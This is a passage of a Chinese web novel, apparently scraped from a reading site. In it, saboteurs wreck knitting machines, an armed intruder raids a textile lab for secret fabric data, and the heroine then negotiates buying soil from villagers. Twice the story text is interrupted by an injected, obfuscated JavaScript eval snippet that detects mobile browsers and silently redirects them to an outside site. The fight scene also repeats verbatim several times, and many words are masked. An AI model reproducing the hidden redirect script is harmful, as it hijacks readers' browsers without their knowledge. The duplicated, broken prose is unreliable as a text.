“这件事,我交给其他人去办,你回去清水沟,太危险了。” 当初,清水沟之行,让陆良辰对清水沟这个贫瘠的地方没有好印象,加上李胜利的关系,陆良辰从心里排斥这个地方。 “可是,我熟悉,我去取样,是最快的方法!”姜海棠依然很坚持。 “让赵凯安排几个人去,他手底下的人,很多当过侦察兵,也熟悉农村情况。”陆良辰还是不同意姜海棠冒险。 姜海棠还想争辩,外面传来急促的脚步声。 是厂办的小**事,他急匆匆地闯进来,脸色凝重。 “怎么了?”陆良辰问。 “陆厂长,机械厂那边刚打过来电话,出事了。”小**事沉声道,“刚下线的五十台织袜机,全部被人为破坏了关键部件。” 姜海棠倒吸一口冷气。“是故意的?” “能破坏关键部件,应该是很专业的人,应该不是普通破坏。”陆良辰眼神锐利,虽然是猜测,却说得十分笃定。 姜海棠也想到了这个可能,虽然小**事没说是什么关键部位,但想来织袜机上的关键部位就是送纱系统,如果真是这里出问题,那就是蓄意破坏,外行根本找不到那个位置。 两人对视一眼,同时想到一个可能:敌特分子还在活动,而且就隐藏在机械厂内部! 他们之前的行动,肃清了纺织厂的潜在危险,却忘了,机械厂同样可能出问题。 第200章 实验数据交出来 “我去机械厂看看。”陆良辰立即转身就要走,走之前还没忘记转头叮嘱姜海棠:“你留在厂里,哪儿都别去。” “良辰,我肯定要去,没有人比我还熟悉织袜机!” 陆良辰沉默了,姜海棠说的是事实,织袜机,姜海棠最熟悉,或许,也只有姜海棠才能找到补救的办法。 姜海棠攥紧了手中的实验记录本,一把抓过背包,将实验记录本装在包里,说:“我和你一起去!” 陆良辰语气坚决地反对:“不行。机械厂现在情况不明,太危险。你等我先去看看情况,如果情况没有想象中的危险,我让小吴来接你。” 他顿了顿,压低声音,“而且,实验室需要有人守着,还要辛苦你们几个人。” 姜海棠明白他的意思——既然敌特已经开始行动,他们辛苦研发的军用布料配方很可能成为下一个目标。 “让保卫科加派双岗,必要的话,可以让老郑亲自守着实验室,我肯定要去机械厂走一遭。” 姜海棠沉吟片刻之后,最终还是觉得,自己要走出实验室,或许只有自己走出实验室,才能让背后的人认为有机会了。 “良辰,我和郑明远同志,还有黎景程同志,把重要的资料分开保存,这样才能最大程度确保安全。” 最终,陆良辰还是同意了见海棠的建议。 “我先去准备一下,二十分钟之后,小吴过来接你。” 姜海棠望着他的背影消失在走廊尽头,转身对郑明远说:“郑工,黎景程,咱们立即拆分资料,要确保得到任何一份资料,都不能还原内容。” 郑明远和黎景程二人会意,立即着手整理实验数据。 三个人将核心配方拆分成三部分,分别藏在不同的地方。 “姜工,”黎景程突然压低声音,“我总觉得这事不简单,明面上看起来,确实是机械厂出问题了,可我们都知道,机械厂的这一批织袜机是要给纺织厂的。” “他们想一箭双雕。”郑明远正好听到了二人的话,镜片后的眼睛闪着锐利的光,“破坏纺织厂的生产能力,同时窃取军用技术。而机械厂,不过是踏板。” 窗外,暮色渐沉。 姜海棠望着天边最后一抹晚霞,心中升起不祥的预感。 小吴开着车,在最后一抹夕阳落下的时候,来到了实验室门口。 机械厂。 车间灯火通明,陆良辰和姜海棠匆匆进去,**厂长正在大发雷霆。 而机械厂的几个技术员正在检查 被破坏的织袜机。 “您看,”向文涛指着送纱系统的齿轮组,“每个受损部位都一样,都是用特殊工具精准破坏的。不是内行根本找不到这个位置。” 姜海棠蹲下身,仔细观察齿轮上的划痕:“是专业钳工干的。” 向文涛擦着额头上的汗,“这批机器昨晚才完成最后调试,今早发现被破坏时,车间门锁完好无损。” 向文涛虽然是专注于技术研究的人,可也不是什么都不懂的人,这会儿也没忍住开始猜测。 姜海棠立即追问:“值班人员呢?” “老李头说半夜听到动静,起来查看时什么都没发现。”**厂长气呼呼地说:“我怀疑他睡迷糊了。” **厂长这会子心里后悔的不得了,早知道就不安排一个老头子值班了,安排几个精兵强将多好。 姜海棠站起身,目光扫过车间的每一个角落:“能不能让值班人员过来,我有些问题想问问他。” **厂长自是没有不答应的,他立即让人找了老李头过来。 六十多岁的老李头也没想到,就是值班,怎么就出现这种情况? 老人哆哆嗦嗦的回忆:“我昨天晚上确实听见声音……像是老鼠啃东西,起来拿手电一照,又啥都没有……” 这种丧心病狂破坏生产的事,到底是谁干的啊,他老头子要咒他以后生了孩子没**! “您确定是老鼠?”陆良辰突然问。 机械厂的生产车间里都是钢铁疙瘩,老鼠啃什么? 老李头一愣:“这……声音很像,但好像更规律些……” 老头子拼命地回忆着,希望能回忆起有用的线索,弥补过错。 姜海棠与陆良辰交换了一个眼神,**厂长的脸上也有意思诧异。 几个人到**厂长的办公室,陆良辰压低声音:“**厂长,合理怀疑,是摩尔斯电码!有人在用敲击声传递信息!” **厂长一脸严肃地点头:“我怀疑一敌特在摸底。他老子的,竟然到老子地盘上来撒野了。” 陆良辰面色阴沉,“织袜机只是开始,他们的真正目标很可能是我们厂正在研究的新技术。” 虽然纺织厂在研究军用布料的消息是保密的,但**厂长也是经营多年的人,怎么可能不知道这个消息? 因此,在陆良辰话说出来之后,**厂长已经意识到了,在机械厂动手,不过是迫不得已,真正的目的,应该还是纺织厂。 他不由用怜悯的眼光看看陆良辰,这小伙子也真够倒霉的,从到了纺织 厂,就总遇到各种各样的问题。 “需要我给你们支援人力吗?”**厂长想了想,问。 陆良辰摇摇头:“不用了,我们目前的人还够用,等回头不够用了,我一定找你借人。” **厂长没有勉强,事到如今,他厂里的这些人是不是可信,他心里都没把握,就别说陆良辰了。 最近这段时间,他也需要加大力度对厂里这些人进行一次排查。 姜海棠则在想,要怎么抓紧时间将这些被损坏的机器进行维修。 她没猜错的话,这些机器在这么关键的时候被损坏,就是为了打发人去纺织厂进行维修。 如此,倒是可以将计就计。 同时,实验室那边也做好抓贼的准备,这样才能双保险。 姜海棠将自己的想法说了,几个人立即开始研究。 纺织厂。 夜深了,姜海棠仍在实验室整理数据。 周小梅劝她回去休息,她却摇摇头:“小梅,我快完成了,麻烦你再检查一遍防火措施,我总觉得有些不放心!” 周小梅并不知道发生了事,因此还笑着揶揄一句:“之前都好好的,怎么忽然担心有人放火了?” 实验室的窗户都被暗钉钉上了,周围还专门安排了保卫科的人不间断地守着。 但姜海棠还是不放心,她总觉得有什么被忽略了。 “有备无患,我总觉得不能安心!” “姜工,您太紧张了。”周小梅递来一杯热茶,“咱们这说是铜墙铁壁都不为过,苍蝇都飞不进来。” 姜海棠勉强笑了笑,正要说话,突然听到屋顶传来轻微的“咯吱”声。 “什么声音?”她警觉地抬头。 周小梅不以为意:“风吹的吧?” 姜海棠放下茶杯,轻手轻脚地走到墙角,拿起一根铁管。 自从上次遭遇了李胜利的**之后,姜海棠就在实验室和家里分别准备了趁手的武器,都是铁棍。 这段时间,陆良辰也专门给她设计了一套铁棍揍人的技巧。 “小梅,可能有人来了,你找个地方躲起来,别发出声音。”她压低声音叮嘱周小梅。 周小梅脸色煞白,立即找了一个柜子,小心翼翼地藏在柜子背后。 就在周小梅刚才藏好的时候,屋顶突然传来“哗啦”一声巨响! 紧接着瓦片碎裂,一个黑影从天而降! 周小梅拼命捂住嘴巴,才没有叫出声。 而姜海棠此时已经抓住机会 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853288|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 抡起铁管就朝黑影砸去。 对方灵活地闪开,反手亮出一把寒光闪闪的**。 “你就是姜海棠?把实验数据交出来!”来人戴着帽子,刻意压低声音威胁道。 姜海棠背靠实验台,握紧铁管:“休想!” **在灯下划出一道冷光,姜海棠的瞳孔骤然收缩。 她想起陆良辰教她的第一课,面对持械敌人,距离就是生命。 “最后问一次,实验数据在哪?”黑影压低嗓音逼近,**在掌心转出令人眼花缭乱的弧度。 他想震慑姜海棠,可姜海棠显然是不害怕的。 这种花把式,是战斗时候的大忌。 姜海棠突然弯腰抓起实验台上的烧杯,将里面的液体朝对方脸上泼去。 黑影下意识抬手遮挡,她趁机一个侧滚翻拉开距离,铁管“铛”地砸在对方小腿骨上。 “啊!”黑影吃痛跪地,却立刻反手一刀划向姜海棠脚踝。 锋刃擦过姜海棠的裤腿,裤子出现一道口子。 姜海棠后跳半步,铁管顺势下劈,正敲在对方持刀的手腕上。 **“当啷”落地,黑影却像感觉不到疼痛般,一个鲤鱼打挺站起来。 在这个过程中,那人的帽子掉了,姜海棠看清这是个精瘦的年轻人,五官透着狠厉,可见是个不好招惹的。 “倒是小看你了,一个女人,如此身手。”男人啐出口血沫,他确实是轻敌了,如果不是轻敌,说不定,已经将姜海棠拿下了! 可这世上的事儿,并没有如果,男人朝着姜海棠的方向看了一眼,飞起一脚,踹向试验台! 第201章 将计就计 实验台被踹翻,玻璃器皿碎了一地。 姜海棠急退时踩到滚落的试管,整个人向后仰去。 男人饿虎扑食般压来,她本能地使出陆良辰教的“兔子蹬鹰,双脚狠狠踹向对方腹部。 “呃!疤脸男被踹得撞上药柜,十几个玻璃瓶劈头盖脸砸下来。 姜海棠趁机爬起,铁管横扫对方膝盖。 那男人狰狞一笑,突然从腰间抽出枪! 姜海棠这一刻有些心慌,怎么会有枪? 黑洞洞的枪口对准姜海棠眉心的瞬间,柜子后突然飞出一个烧瓶,精准砸在疤脸男后脑。 “砰的一声,玻璃碴混着酒精溅开。 “海棠姐快跑!周小梅尖叫着又扔出第二个烧瓶。 男人暴怒转身,姜海棠抓住这电光火石的间隙,铁管带着风声砸向他**的手。 “咔嚓的骨裂声中,**滑出数米远。 “**!男人用完好的左手亮出一把**,刀尖直刺姜海棠心窝。 姜海棠仓促侧身,锋刃划破了左臂,温热的血立刻浸透衣袖。 剧痛反而让姜海棠更加清醒。 她想起陆良辰曾经说过,当敌人突刺时,不要后退,要迎着刀锋斜跨半步…… 她没有验证过这样做对不对,但现在,不容她迟疑。 **再次刺来的刹那,她突然向前突进,铁管自下而上猛击对方下巴。 疤脸男显然没料到这招,“咚的一声闷响,整个人后仰着撞碎了窗户。 玻璃碎裂声中,外面传来急促的脚步声。 那男人抹了把嘴角的血,阴狠地瞪了姜海棠一眼,翻身就想从玻璃破了的窗口钻出窗外。 “站住! 姜海棠冲到窗边,拼命抓住了男人的脚踝。 男人用左手朝着姜海棠的脑门子砸下来。 关键时候,周小梅捡起地上的枪,对着男人开了一枪,枪口冒着青烟。 也不知道是周小梅会用枪,还是无意间撞上了,总之,男人的左肩膀被**打中。 剧痛之下,已经快要爬出窗户的男人掉回地上。 周小梅拿枪指着男人,小心翼翼地朝着姜海棠走过去。 “海棠姐你流血了! “小梅,你别分心,他如果有动作,直接击毙。 虽然不知道周小梅为什么会用枪,但姜海棠相信周小梅能做得很好。 周小梅双手微微颤抖。 她不敢说,她其实不会用 枪。 好在那已经受伤的男人半躺在地上因为姜海棠的话和周小梅手里黑漆漆的枪口不敢动作。 他以为周小梅是会用枪的。 姜海棠看到男人没有其他动作才发现自己的手抖得厉害铁管“当啷”掉在地上。 她望着满地狼藉的实验室双腿一软坐倒在地刚才这一场打斗竟比对抗李胜利还要凶险百倍。 这时候实验室的门被猛地踹开陆良辰带着保卫科的人冲了进来! 因为对方已经丧失战斗力 陆良辰看到姜海棠胳膊上的血迹忙上前询问情况。 “海棠你受伤了?” “被刀划伤了不严重。”姜海棠忍着疼说。 陆良辰却心疼得不得了立即就要送姜海棠去医院。 “先把实验室这边收拾一下也不知对方这一次没有得手会不会还有下一次。” “这些有我们海棠街你还是让陆厂长送你去医院吧!” 姜海棠只能跟着陆良辰去了医院。 包扎好之后陆良辰一脸心疼的说道:“最近你总受伤都是我没有保护好你。” 姜海棠笑了握住他的手说:“怎么就能怪你了这些人是冲配方来的。” “还是我的问题我明明知道会有危险还是让你受了伤。” “真正应该怪的是那些人不是你的错好在我们提前转移了资料厂里没有损失。” 审讯室里那个男人始终一言不发。 赵凯带着人一直守着他却始终未能问出有效信息。 最后怕他失血过多死亡赵凯不得不找医生来给他包扎。 陆良辰安顿好姜海棠之后也到了保卫科的审讯室。 “他说什么?”陆良辰问。 “什么都不肯说。”赵凯摇头。 “既然什么都不肯说移交给国安部门吧。” 赵凯不明白为什么陆良辰都不做努力就要把人移交给国安。 但他还是答应下来。 陆良辰没有在保卫科继续待而是回到了病房里将这边的情况对姜海棠说了。 “现在怎么办?”姜海棠问。 陆良辰沉思片刻:“将计就计。既然他们想要我们就给一个。” 三天后一份实验数据通过特殊渠道流入了敌特手中。 纺织厂风声鹤唳传言有重要数据资料失窃但一直都没有得到纺织厂的正 面答复。 但越是遮遮掩掩的,大家讨论得越厉害。 安保部门全力展开调查,但敌特分子的踪迹却如同泥牛入海,毫无头绪。 姜海棠的伤口已经愈合得差不多了,只是偶尔会隐隐作痛。 她不想继续留在医院,坚持出院回家修养。 得知现在进一步研发布料的关键在于高岭土,姜海棠决定亲自前往。 陆良辰在办公室里来回踱步,手里的搪瓷缸子被他捏得咯吱作响。 清水沟的那些人,对海棠有恶意,他不愿意让海棠冒险。 这大半年时间,海棠为了厂里付出的太多了。 但架不住姜海棠自己坚持,他最终还是决定安排保卫科经验最丰富的老周带队,再加上两个年轻力壮的小伙子小陈和小张,一同护送姜海棠。 至于司机,小吴之前去过清水沟,虽然对那里颇有微词,但至少熟悉路况,便还是让他来担任。 清晨五点,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863993|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚蒙蒙亮,一辆军用吉普车就驶出了厂区。 小吴握着方向盘,嘴里嘟囔着:“我是真不想去那个地方,穷山恶水出刁民。 老周坐在副驾驶,警惕地扫视着四周:“别废话,好好开车。 实际上,老周对清水沟这个地方,也没有什么好印象,毕竟,出过敌特的地方。 姜海棠坐在后排,望着窗外飞驰而过的田野,思绪早已飘到了清水沟。 那些土,混合在石头堆里,并不是很好挖,这一次去,不光要商量允许纺织厂挖土,最好还能在当地找一些人帮忙挖。 随着吉普车在蜿蜒的山路上颠簸,小吴忍不住又开口了:“姜工,这种土真就非清水沟不可?穷山恶水出刁民,也不知道这一次,他们能干出什么事。 他的语气里带着几分不解,不就是一些土吗?漫山遍野,哪里都是。 姜海棠轻轻点头:“那不是寻常的土,我们有特殊需求。其实那里的村民大多都很朴实,只是…… 她顿了顿,想起上次不愉快的经历,“只是个别几户人家不太好打交道。 小陈在后座好奇地探出头:“姜工,您说的是不是那李胜利家? 姜海棠摇摇头,李胜利家在村子里并没有多少影响力,只是传出消息说李胜利牺牲了之后,这种局面才改变了一些。 不过,细想起来,整个清水沟,李家虽然没有影响力,但人却是最坏的。 上一次她在清水沟差点遇到危险,其实也是李家从中作梗。 “上次的事,我们就不提了,这一次,我们要和村民们达成合作,让他们帮忙采集土壤,这样既能解决我们的难题,也能给村里带来收益,这才是双赢。” “就怕他们不识好人心!”小吴还是不觉得,那些人能是好人。 姜海棠叹了口气,要化解小吴心里的不满,不是一朝一夕的事。 中午一点,吉普车终于停在了清水沟村口。 姜海棠深吸一口气,整理了一下衣角。老周示意小陈和小张提高警惕,自己则走在最前面。 小吴把车停好,嘴里还在嘀咕:“每次来这儿都没好事。” 老周瞪了小吴一眼:“不要嘟嘟囔囔了,只要他们好好的,咱们肯定不能主动冲突。” 小吴这才闭嘴。 老周又说:“小陈,你跟着姜工一起去,我们在远处盯着。” 看到老周一副如临大敌的样子,姜海棠觉得有些好笑,但她也知道,老周这是真心为了自己的安全考虑。 姜海棠没有拒绝老周的安排,和小陈两个人一起朝着蔡婶子家走去。 姜海棠打算通过蔡婶子一家和村子里协商。 蔡婶子的男人也是赵家人,能说得上话,而且,蔡婶子和她的关系历来不错。 远远地,就看见蔡婶子正在猪圈前忙活,她佝偻着背,手里拿着木勺,正给两头肥猪喂食。 姜海棠快步走上前,喊道:“蔡婶子!” 第202章 商议 蔡婶子猛地抬起头,看到亭亭玉立的姜海棠,眼睛用力地眨巴了好几下,然后苦笑,怀疑自己肯定出现幻觉了。 “这……这不是在做梦吧?咋还能看到海棠这闺女呢?” “不认识我了?蔡婶子。”姜海棠笑容满面地说。 蔡婶子听清楚了姜海棠的声音,手里的木勺差点掉在地上。 她揉了揉眼睛,不敢相信地说:“真的是你回来了?海棠。” 姜海棠笑着小跑过去,握住蔡婶子粗糙的手:“婶子,是我!您看看,这不是真真切切的嘛!” 蔡婶子上下打量着眼前的姑娘,眼眶渐渐湿润。 “哎哟我的老天爷,这才多久没见,咱们家海棠都成城里的大姑娘了!这衣服,这样貌,和以前完全不一样了!” 蔡婶子欣喜得眼中含泪,忙撩起衣襟擦眼泪。 姜海棠握住蔡婶子的手说道:“就是稍微白了点,其他也就这样,是您心疼我,才觉得我好看。” “可不一样,比你以前在咱们大队的时候好看多了,穿得也好看了。”蔡婶子是真心实意地夸奖姜海棠。 “您再这么夸,我都不好意思了。” “海棠啊,你大老远地来,饿了吧?我给你做饭去,正好家里老母鸡下了鸡蛋,婶子给你煮碗荷包蛋!”说着蔡婶子就拉扯着姜海棠往家里走。 姜海棠忙拉住她:“婶子别忙,我们路上吃过了。” “那先去家里坐坐,我们娘俩好好唠唠。”蔡婶子很是热情,一回头,正好看到了旁边的年轻小伙子小陈。 “海棠,这是你对象?” 姜海棠忙摇头,顺手从小陈手里拿过装着东西的篮子。 “不是,蔡婶子,这是我同事,今天陪着我一起过来的。这是给您带的一点心意。” 蔡婶子连连摆手拒绝:“海棠,你来看看婶子,婶子就很快心了,可不能再送东西。” “婶子,好些时候没见您了,这是一点红糖和白糖,还有一些瑕疵布料,专门给您带的,也不是什么好东西。您对我的好,我记着呢。” “那不都已经让大柱给我捎东西回来了?”蔡婶子立即说。 姜海棠握住蔡婶子的手真诚地说道:“婶子,那时候我在村里,要不是您经常接济,我哪能撑过来?这些东西您一定要收下。” “那都是应该的,都是邻居,有困难还能不帮一把?海棠啊,你一个女娃在城里生活不容易,这些东西你带回去好好过日子就行。” “蔡婶子您就收下吧,我这次来,是有事想请您帮忙。您要是不收下,我都不好意思开口了。”姜海棠只能如此说。 蔡婶子这才收下礼物,嘴里念叨着:“大柱最近正愁没件体面的衣服去相亲,这块布料来得正好。海棠,有什么事儿你尽管说,只要婶子能办到的,绝不含糊!” 姜海棠把需要采集特殊土壤的事详细说了一遍。 蔡婶子一拍大腿:“我当是啥大事呢!后山那片红土坡,除了荒草啥都不长,要多少有多少!” 正说着,赵大山从屋里走了出来,看到姜海棠,愣在了原地。 蔡婶子看到自家男人和自己一样,乐了。 “当家的,没认出来吧?” 这个憨厚的庄稼汉搓着手直笑:“看着有点儿像海棠那闺女。” 蔡婶子乐呵呵地说:“可不就是海棠回来了,当家的,咱们的海棠出息了,从城里回来看咱们了!” 赵大山挠了挠头,憨厚地笑了:“真是海棠啊!差点没认出来!” 当听说后山的土能换钱时,他瞪大了眼睛:“真的还是假的,我咋觉得这么玄乎呢?就咱们后山那些土?” 那一片山上的土特殊,除了荒草什么都不长,现在忽然有人说,那些土要换钱,咋想都不太可能啊。 姜海棠认真地解释:“大山叔,是真的。我们厂里做实验需要这种土壤,如果能和村里合作,按重量付钱,既能解决我们的难题,也能给村里增加收入。” 赵大山还是有些不敢相信:“可……可那些土啥都种不出来,真有人要?” 蔡婶子推了推丈夫:“你这人,海棠还能骗咱们?这可是大好事!咱们赶紧去找大队长商量商量!” 赵大山搓了搓粗糙的手掌,转头对蔡婶子说:“大柱他娘,你去把堂屋收拾收拾,我去请大队长来家坐坐。” 蔡婶子忙不迭地点头:“对对,我这就去烧水泡茶。海棠啊,你先坐着歇会儿。” 说着蔡婶子风风火火地往灶间去了。 姜海棠看着这对淳朴的夫妻,心里暖融融的。 小陈说:“姜工,我瞧着,这里的人还行啊。” 为啥小吴司机说,这里的人坏得不得了呢? “是还行!”姜海棠浅笑。 这里有坏人,但大部分人都是好的,要不,早些年,她根本活不下来。 赵大山戴上草帽正要出门,又折返回来从柜子里取出一个布包:“差点忘了,这是上回弄的茶叶,一直没舍得喝,大柱娘,你给海棠泡上。” “知道了,当家的,你赶紧去,别墨迹。” 不到二十分钟,院外就传来爽朗的说话声。 赵志坚大队长穿着洗得发白的蓝布衫,手里拿着旱烟袋大步流星地走进来。 “海棠啊,你回来了?”赵志坚一进门就热情地伸出手,“听大山说你给咱们大队带来好消息了?” 姜海棠连忙起身相迎:”赵队长,我这次回来是有事想和村里商量。” 赵志坚在八仙桌旁坐下,接过蔡婶子递来的大碗:“听大山说,你们厂里要买后山的土?” “是的,大队长。” 赵志坚不敢相信地盯着姜海棠问:“你说的是咱们后山那片除了荒草啥都不长的那些‘鬼见愁’?” 姜海棠这才想起来,那一片地方,老辈人说,野草都不好好长,就是鬼见愁。 “就是那些土,如果我们自己挖,一吨可以给大队一块钱,要是大队里负责采集,可以以每吨五元的价格收购,如果大队里负责采集运输,一吨土还可以再增加一块钱。” 赵志坚手里的茶碗端不住了,他颤抖着放下,死死盯着姜海棠,似乎要看看,姜海棠是不是说错了。 “你说错了,还是我听错了,海棠。” “大队长,您没听错,我也没说错,我们初步计划要十吨。后续如果还有需要,继续采购。” 赵志坚心里盘算,先要十吨,那就是五十块钱了,要是用自家的牛车送过去,就是六十块钱了,后续还要,那就更多看了。 那片坡地少说能挖出几百吨啊!天降横财了! 蔡婶子正在给众人续茶,听到这话差点摔了茶壶:“老天爷,那不长草的土这么值钱?” 姜海棠点点头:“不过,我们也是有要求的,必须保证土壤纯净度,不能掺杂其他杂质,如果掺了其他杂质,我们就不收了。” 赵志坚的旱烟袋在桌沿轻轻磕了磕:“这事得开社员大会。不过……”他突然压低声音,“海棠啊,你实话告诉叔,这土真这么值钱?别是你们厂里吃亏……” 他担心,这是不是姜海棠故意帮他们清水沟的人才搞出来的。 姜海棠心头一热:“大队长,大家挖土不容易,要是你们不挖,我们还要安排人来挖土,不划算。” 赵志坚摸着下巴盘算:“那叔就谢谢你了,要是没有你,这好事也轮不到我们大队。这事儿要是真能成,咱村今年就能通电了!” 正说着,门外传来叽叽喳喳的声音。 几个小脑袋从门缝里探进来,都是听说姜海棠回来跑来看热闹的村里孩子。 